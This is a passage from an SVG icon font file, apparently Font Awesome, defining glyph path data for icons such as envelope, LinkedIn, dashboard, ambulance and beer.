d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45zM1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="sort_down" unicode="&#xf0dd;" horiz-adv-x="1024" 
d="M1024 448q0 -26 -19 -45l-448 -448q-19 -19 -45 -19t-45 19l-448 448q-19 19 -19 45t19 45t45 19h896q26 0 45 -19t19 -45z" />
    <glyph glyph-name="sort_up" unicode="&#xf0de;" horiz-adv-x="1024" 
d="M1024 832q0 -26 -19 -45t-45 -19h-896q-26 0 -45 19t-19 45t19 45l448 448q19 19 45 19t45 -19l448 -448q19 -19 19 -45z" />
    <glyph glyph-name="envelope_alt" unicode="&#xf0e0;" horiz-adv-x="1792" 
d="M1792 826v-794q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v794q44 -49 101 -87q362 -246 497 -345q57 -42 92.5 -65.5t94.5 -48t110 -24.5h1h1q51 0 110 24.5t94.5 48t92.5 65.5q170 123 498 345q57 39 100 87zM1792 1120q0 -79 -49 -151t-122 -123
q-376 -261 -468 -325q-10 -7 -42.5 -30.5t-54 -38t-52 -32.5t-57.5 -27t-50 -9h-1h-1q-23 0 -50 9t-57.5 27t-52 32.5t-54 38t-42.5 30.5q-91 64 -262 182.5t-205 142.5q-62 42 -117 115.5t-55 136.5q0 78 41.5 130t118.5 52h1472q65 0 112.5 -47t47.5 -113z" />
    <glyph glyph-name="linkedin" unicode="&#xf0e1;" 
d="M349 911v-991h-330v991h330zM370 1217q1 -73 -50.5 -122t-135.5 -49h-2q-82 0 -132 49t-50 122q0 74 51.5 122.5t134.5 48.5t133 -48.5t51 -122.5zM1536 488v-568h-329v530q0 105 -40.5 164.5t-126.5 59.5q-63 0 -105.5 -34.5t-63.5 -85.5q-11 -30 -11 -81v-553h-329
q2 399 2 647t-1 296l-1 48h329v-144h-2q20 32 41 56t56.5 52t87 43.5t114.5 15.5q171 0 275 -113.5t104 -332.5z" />
    <glyph glyph-name="undo" unicode="&#xf0e2;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61q-172 0 -327 72.5t-264 204.5q-7 10 -6.5 22.5t8.5 20.5l137 138q10 9 25 9q16 -2 23 -12q73 -95 179 -147t225 -52q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5
t-163.5 109.5t-198.5 40.5q-98 0 -188 -35.5t-160 -101.5l137 -138q31 -30 14 -69q-17 -40 -59 -40h-448q-26 0 -45 19t-19 45v448q0 42 40 59q39 17 69 -14l130 -129q107 101 244.5 156.5t284.5 55.5q156 0 298 -61t245 -164t164 -245t61 -298z" />
    <glyph glyph-name="legal" unicode="&#xf0e3;" horiz-adv-x="1792" 
d="M1771 0q0 -53 -37 -90l-107 -108q-39 -37 -91 -37q-53 0 -90 37l-363 364q-38 36 -38 90q0 53 43 96l-256 256l-126 -126q-14 -14 -34 -14t-34 14q2 -2 12.5 -12t12.5 -13t10 -11.5t10 -13.5t6 -13.5t5.5 -16.5t1.5 -18q0 -38 -28 -68q-3 -3 -16.5 -18t-19 -20.5
t-18.5 -16.5t-22 -15.5t-22 -9t-26 -4.5q-40 0 -68 28l-408 408q-28 28 -28 68q0 13 4.5 26t9 22t15.5 22t16.5 18.5t20.5 19t18 16.5q30 28 68 28q10 0 18 -1.5t16.5 -5.5t13.5 -6t13.5 -10t11.5 -10t13 -12.5t12 -12.5q-14 14 -14 34t14 34l348 348q14 14 34 14t34 -14
q-2 2 -12.5 12t-12.5 13t-10 11.5t-10 13.5t-6 13.5t-5.5 16.5t-1.5 18q0 38 28 68q3 3 16.5 18t19 20.5t18.5 16.5t22 15.5t22 9t26 4.5q40 0 68 -28l408 -408q28 -28 28 -68q0 -13 -4.5 -26t-9 -22t-15.5 -22t-16.5 -18.5t-20.5 -19t-18 -16.5q-30 -28 -68 -28
q-10 0 -18 1.5t-16.5 5.5t-13.5 6t-13.5 10t-11.5 10t-13 12.5t-12 12.5q14 -14 14 -34t-14 -34l-126 -126l256 -256q43 43 96 43q52 0 91 -37l363 -363q37 -39 37 -91z" />
    <glyph glyph-name="dashboard" unicode="&#xf0e4;" horiz-adv-x="1792" 
d="M384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM576 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1004 351l101 382q6 26 -7.5 48.5t-38.5 29.5
t-48 -6.5t-30 -39.5l-101 -382q-60 -5 -107 -43.5t-63 -98.5q-20 -77 20 -146t117 -89t146 20t89 117q16 60 -6 117t-72 91zM1664 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 1024q0 53 -37.5 90.5
t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1472 832q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 384q0 -261 -141 -483q-19 -29 -54 -29h-1402q-35 0 -54 29
q-141 221 -141 483q0 182 71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="comment_alt" unicode="&#xf0e5;" horiz-adv-x="1792" 
d="M896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640
q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 174 120 321.5
t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="comments_alt" unicode="&#xf0e6;" horiz-adv-x="1792" 
d="M704 1152q-153 0 -286 -52t-211.5 -141t-78.5 -191q0 -82 53 -158t149 -132l97 -56l-35 -84q34 20 62 39l44 31l53 -10q78 -14 153 -14q153 0 286 52t211.5 141t78.5 191t-78.5 191t-211.5 141t-286 52zM704 1280q191 0 353.5 -68.5t256.5 -186.5t94 -257t-94 -257
t-256.5 -186.5t-353.5 -68.5q-86 0 -176 16q-124 -88 -278 -128q-36 -9 -86 -16h-3q-11 0 -20.5 8t-11.5 21q-1 3 -1 6.5t0.5 6.5t2 6l2.5 5t3.5 5.5t4 5t4.5 5t4 4.5q5 6 23 25t26 29.5t22.5 29t25 38.5t20.5 44q-124 72 -195 177t-71 224q0 139 94 257t256.5 186.5
t353.5 68.5zM1526 111q10 -24 20.5 -44t25 -38.5t22.5 -29t26 -29.5t23 -25q1 -1 4 -4.5t4.5 -5t4 -5t3.5 -5.5l2.5 -5t2 -6t0.5 -6.5t-1 -6.5q-3 -14 -13 -22t-22 -7q-50 7 -86 16q-154 40 -278 128q-90 -16 -176 -16q-271 0 -472 132q58 -4 88 -4q161 0 309 45t264 129
q125 92 192 212t67 254q0 77 -23 152q129 -71 204 -178t75 -230q0 -120 -71 -224.5t-195 -176.5z" />
    <glyph glyph-name="bolt" unicode="&#xf0e7;" horiz-adv-x="896" 
d="M885 970q18 -20 7 -44l-540 -1157q-13 -25 -42 -25q-4 0 -14 2q-17 5 -25.5 19t-4.5 30l197 808l-406 -101q-4 -1 -12 -1q-18 0 -31 11q-18 15 -13 39l201 825q4 14 16 23t28 9h328q19 0 32 -12.5t13 -29.5q0 -8 -5 -18l-171 -463l396 98q8 2 12 2q19 0 34 -15z" />
    <glyph glyph-name="sitemap" unicode="&#xf0e8;" horiz-adv-x="1792" 
d="M1792 288v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192h-512v-192h96q40 0 68 -28t28 -68v-320
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h96v192q0 52 38 90t90 38h512v192h-96q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h320q40 0 68 -28t28 -68v-320q0 -40 -28 -68t-68 -28h-96v-192h512q52 0 90 -38t38 -90v-192h96q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="umbrella" unicode="&#xf0e9;" horiz-adv-x="1664" 
d="M896 708v-580q0 -104 -76 -180t-180 -76t-180 76t-76 180q0 26 19 45t45 19t45 -19t19 -45q0 -50 39 -89t89 -39t89 39t39 89v580q33 11 64 11t64 -11zM1664 681q0 -13 -9.5 -22.5t-22.5 -9.5q-11 0 -23 10q-49 46 -93 69t-102 23q-68 0 -128 -37t-103 -97
q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -28 -17q-18 0 -29 17q-4 6 -14.5 24t-17.5 28q-43 60 -102.5 97t-127.5 37t-127.5 -37t-102.5 -97q-7 -10 -17.5 -28t-14.5 -24q-11 -17 -29 -17q-17 0 -28 17q-4 6 -14.5 24t-17.5 28q-43 60 -103 97t-128 37q-58 0 -102 -23t-93 -69
q-12 -10 -23 -10q-13 0 -22.5 9.5t-9.5 22.5q0 5 1 7q45 183 172.5 319.5t298 204.5t360.5 68q140 0 274.5 -40t246.5 -113.5t194.5 -187t115.5 -251.5q1 -2 1 -7zM896 1408v-98q-42 2 -64 2t-64 -2v98q0 26 19 45t45 19t45 -19t19 -45z" />
    <glyph glyph-name="paste" unicode="&#xf0ea;" horiz-adv-x="1792" 
d="M768 -128h896v640h-416q-40 0 -68 28t-28 68v416h-384v-1152zM1024 1312v64q0 13 -9.5 22.5t-22.5 9.5h-704q-13 0 -22.5 -9.5t-9.5 -22.5v-64q0 -13 9.5 -22.5t22.5 -9.5h704q13 0 22.5 9.5t9.5 22.5zM1280 640h299l-299 299v-299zM1792 512v-672q0 -40 -28 -68t-68 -28
h-960q-40 0 -68 28t-28 68v160h-544q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1088q40 0 68 -28t28 -68v-328q21 -13 36 -28l408 -408q28 -28 48 -76t20 -88z" />
    <glyph glyph-name="light_bulb" unicode="&#xf0eb;" horiz-adv-x="1024" 
d="M736 960q0 -13 -9.5 -22.5t-22.5 -9.5t-22.5 9.5t-9.5 22.5q0 46 -54 71t-106 25q-13 0 -22.5 9.5t-9.5 22.5t9.5 22.5t22.5 9.5q50 0 99.5 -16t87 -54t37.5 -90zM896 960q0 72 -34.5 134t-90 101.5t-123 62t-136.5 22.5t-136.5 -22.5t-123 -62t-90 -101.5t-34.5 -134
q0 -101 68 -180q10 -11 30.5 -33t30.5 -33q128 -153 141 -298h228q13 145 141 298q10 11 30.5 33t30.5 33q68 79 68 180zM1024 960q0 -155 -103 -268q-45 -49 -74.5 -87t-59.5 -95.5t-34 -107.5q47 -28 47 -82q0 -37 -25 -64q25 -27 25 -64q0 -52 -45 -81q13 -23 13 -47
q0 -46 -31.5 -71t-77.5 -25q-20 -44 -60 -70t-87 -26t-87 26t-60 70q-46 0 -77.5 25t-31.5 71q0 24 13 47q-45 29 -45 81q0 37 25 64q-25 27 -25 64q0 54 47 82q-4 50 -34 107.5t-59.5 95.5t-74.5 87q-103 113 -103 268q0 99 44.5 184.5t117 142t164 89t186.5 32.5
t186.5 -32.5t164 -89t117 -142t44.5 -184.5z" />
    <glyph glyph-name="exchange" unicode="&#xf0ec;" horiz-adv-x="1792" 
d="M1792 352v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-1376v-192q0 -13 -9.5 -22.5t-22.5 -9.5q-12 0 -24 10l-319 320q-9 9 -9 22q0 14 9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h1376q13 0 22.5 -9.5t9.5 -22.5zM1792 896q0 -14 -9 -23l-320 -320q-9 -9 -23 -9
q-13 0 -22.5 9.5t-9.5 22.5v192h-1376q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h1376v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23z" />
    <glyph glyph-name="cloud_download" unicode="&#xf0ed;" horiz-adv-x="1920" 
d="M1280 608q0 14 -9 23t-23 9h-224v352q0 13 -9.5 22.5t-22.5 9.5h-192q-13 0 -22.5 -9.5t-9.5 -22.5v-352h-224q-13 0 -22.5 -9.5t-9.5 -22.5q0 -14 9 -23l352 -352q9 -9 23 -9t23 9l351 351q10 12 10 24zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="cloud_upload" unicode="&#xf0ee;" horiz-adv-x="1920" 
d="M1280 672q0 14 -9 23l-352 352q-9 9 -23 9t-23 -9l-351 -351q-10 -12 -10 -24q0 -14 9 -23t23 -9h224v-352q0 -13 9.5 -22.5t22.5 -9.5h192q13 0 22.5 9.5t9.5 22.5v352h224q13 0 22.5 9.5t9.5 22.5zM1920 384q0 -159 -112.5 -271.5t-271.5 -112.5h-1088
q-185 0 -316.5 131.5t-131.5 316.5q0 130 70 240t188 165q-2 30 -2 43q0 212 150 362t362 150q156 0 285.5 -87t188.5 -231q71 62 166 62q106 0 181 -75t75 -181q0 -76 -41 -138q130 -31 213.5 -135.5t83.5 -238.5z" />
    <glyph glyph-name="user_md" unicode="&#xf0f0;" horiz-adv-x="1408" 
d="M384 192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM1408 131q0 -121 -73 -190t-194 -69h-874q-121 0 -194 69t-73 190q0 68 5.5 131t24 138t47.5 132.5t81 103t120 60.5q-22 -52 -22 -120v-203q-58 -20 -93 -70t-35 -111q0 -80 56 -136t136 -56
t136 56t56 136q0 61 -35.5 111t-92.5 70v203q0 62 25 93q132 -104 295 -104t295 104q25 -31 25 -93v-64q-106 0 -181 -75t-75 -181v-89q-32 -29 -32 -71q0 -40 28 -68t68 -28t68 28t28 68q0 42 -32 71v89q0 52 38 90t90 38t90 -38t38 -90v-89q-32 -29 -32 -71q0 -40 28 -68
t68 -28t68 28t28 68q0 42 -32 71v89q0 68 -34.5 127.5t-93.5 93.5q0 10 0.5 42.5t0 48t-2.5 41.5t-7 47t-13 40q68 -15 120 -60.5t81 -103t47.5 -132.5t24 -138t5.5 -131zM1088 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5
t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="stethoscope" unicode="&#xf0f1;" horiz-adv-x="1408" 
d="M1280 832q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1408 832q0 -62 -35.5 -111t-92.5 -70v-395q0 -159 -131.5 -271.5t-316.5 -112.5t-316.5 112.5t-131.5 271.5v132q-164 20 -274 128t-110 252v512q0 26 19 45t45 19q6 0 16 -2q17 30 47 48
t65 18q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5q-33 0 -64 18v-402q0 -106 94 -181t226 -75t226 75t94 181v402q-31 -18 -64 -18q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5q35 0 65 -18t47 -48q10 2 16 2q26 0 45 -19t19 -45v-512q0 -144 -110 -252
t-274 -128v-132q0 -106 94 -181t226 -75t226 75t94 181v395q-57 21 -92.5 70t-35.5 111q0 80 56 136t136 56t136 -56t56 -136z" />
    <glyph glyph-name="suitcase" unicode="&#xf0f2;" horiz-adv-x="1792" 
d="M640 1152h512v128h-512v-128zM288 1152v-1280h-64q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h64zM1408 1152v-1280h-1024v1280h128v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h128zM1792 928v-832q0 -92 -66 -158t-158 -66h-64v1280h64q92 0 158 -66
t66 -158z" />
    <glyph glyph-name="bell_alt" unicode="&#xf0f3;" horiz-adv-x="1792" 
d="M912 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM1728 128q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-181 75t-75 181h-448q-52 0 -90 38t-38 90q50 42 91 88t85 119.5t74.5 158.5
t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q190 -28 307 -158.5t117 -282.5q0 -139 19.5 -260t50 -206t74.5 -158.5t85 -119.5t91 -88z" />
    <glyph glyph-name="coffee" unicode="&#xf0f4;" horiz-adv-x="1920" 
d="M1664 896q0 80 -56 136t-136 56h-64v-384h64q80 0 136 56t56 136zM0 128h1792q0 -106 -75 -181t-181 -75h-1280q-106 0 -181 75t-75 181zM1856 896q0 -159 -112.5 -271.5t-271.5 -112.5h-64v-32q0 -92 -66 -158t-158 -66h-704q-92 0 -158 66t-66 158v736q0 26 19 45
t45 19h1152q159 0 271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="food" unicode="&#xf0f5;" horiz-adv-x="1408" 
d="M640 1472v-640q0 -61 -35.5 -111t-92.5 -70v-779q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v779q-57 20 -92.5 70t-35.5 111v640q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45v-416q0 -26 19 -45
t45 -19t45 19t19 45v416q0 26 19 45t45 19t45 -19t19 -45zM1408 1472v-1600q0 -52 -38 -90t-90 -38h-128q-52 0 -90 38t-38 90v512h-224q-13 0 -22.5 9.5t-9.5 22.5v800q0 132 94 226t226 94h256q26 0 45 -19t19 -45z" />
    <glyph glyph-name="file_text_alt" unicode="&#xf0f6;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
M384 736q0 14 9 23t23 9h704q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64zM1120 512q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704zM1120 256q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-704
q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704z" />
    <glyph glyph-name="building" unicode="&#xf0f7;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 992v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 1248v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1536h-1152v-1536h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM1408 1472v-1664q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h1280q26 0 45 -19t19 -45z" />
    <glyph glyph-name="hospital" unicode="&#xf0f8;" horiz-adv-x="1408" 
d="M384 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M1152 224v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM896 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M640 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 480v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1152 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M896 -128h384v1152h-256v-32q0 -40 -28 -68t-68 -28h-448q-40 0 -68 28t-28 68v32h-256v-1152h384v224q0 13 9.5 22.5t22.5 9.5h320q13 0 22.5 -9.5t9.5 -22.5v-224zM896 1056v320q0 13 -9.5 22.5t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-96h-128v96q0 13 -9.5 22.5
t-22.5 9.5h-64q-13 0 -22.5 -9.5t-9.5 -22.5v-320q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5v96h128v-96q0 -13 9.5 -22.5t22.5 -9.5h64q13 0 22.5 9.5t9.5 22.5zM1408 1088v-1280q0 -26 -19 -45t-45 -19h-1280q-26 0 -45 19t-19 45v1280q0 26 19 45t45 19h320
v288q0 40 28 68t68 28h448q40 0 68 -28t28 -68v-288h320q26 0 45 -19t19 -45z" />
    <glyph glyph-name="ambulance" unicode="&#xf0f9;" horiz-adv-x="1920" 
d="M640 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM256 640h384v256h-158q-14 -2 -22 -9l-195 -195q-7 -12 -9 -22v-30zM1536 128q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5zM1664 800v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM1920 1344v-1152
q0 -26 -19 -45t-45 -19h-192q0 -106 -75 -181t-181 -75t-181 75t-75 181h-384q0 -106 -75 -181t-181 -75t-181 75t-75 181h-128q-26 0 -45 19t-19 45t19 45t45 19v416q0 26 13 58t32 51l198 198q19 19 51 32t58 13h160v320q0 26 19 45t45 19h1152q26 0 45 -19t19 -45z" />
    <glyph glyph-name="medkit" unicode="&#xf0fa;" horiz-adv-x="1792" 
d="M1280 416v192q0 14 -9 23t-23 9h-224v224q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23v-224h-224q-14 0 -23 -9t-9 -23v-192q0 -14 9 -23t23 -9h224v-224q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v224h224q14 0 23 9t9 23zM640 1152h512v128h-512v-128zM256 1152v-1280h-32
q-92 0 -158 66t-66 158v832q0 92 66 158t158 66h32zM1440 1152v-1280h-1088v1280h160v160q0 40 28 68t68 28h576q40 0 68 -28t28 -68v-160h160zM1792 928v-832q0 -92 -66 -158t-158 -66h-32v1280h32q92 0 158 -66t66 -158z" />
    <glyph glyph-name="fighter_jet" unicode="&#xf0fb;" horiz-adv-x="1920" 
d="M1920 576q-1 -32 -288 -96l-352 -32l-224 -64h-64l-293 -352h69q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-96h-160h-64v32h64v416h-160l-192 -224h-96l-32 32v192h32v32h128v8l-192 24v128l192 24v8h-128v32h-32v192l32 32h96l192 -224h160v416h-64v32h64h160h96
q26 0 45 -4.5t19 -11.5t-19 -11.5t-45 -4.5h-69l293 -352h64l224 -64l352 -32q128 -28 200 -52t80 -34z" />
    <glyph glyph-name="beer" unicode="&#xf0fc;" horiz-adv-x="1664" 
d="M640 640v384h-256v-256q0 -53 37.5 -90.5t90.5 -37.5h128zM1664 192v-192h-1152v192l128 192h-128q-159 0 -271.5 112.5t-112.5 271.5v320l-64 64l32 128h480l32 128h960l32 -192l-64 -32v-800z" />
    <glyph glyph-name="h_sign" unicode="&#xf0fd;" 
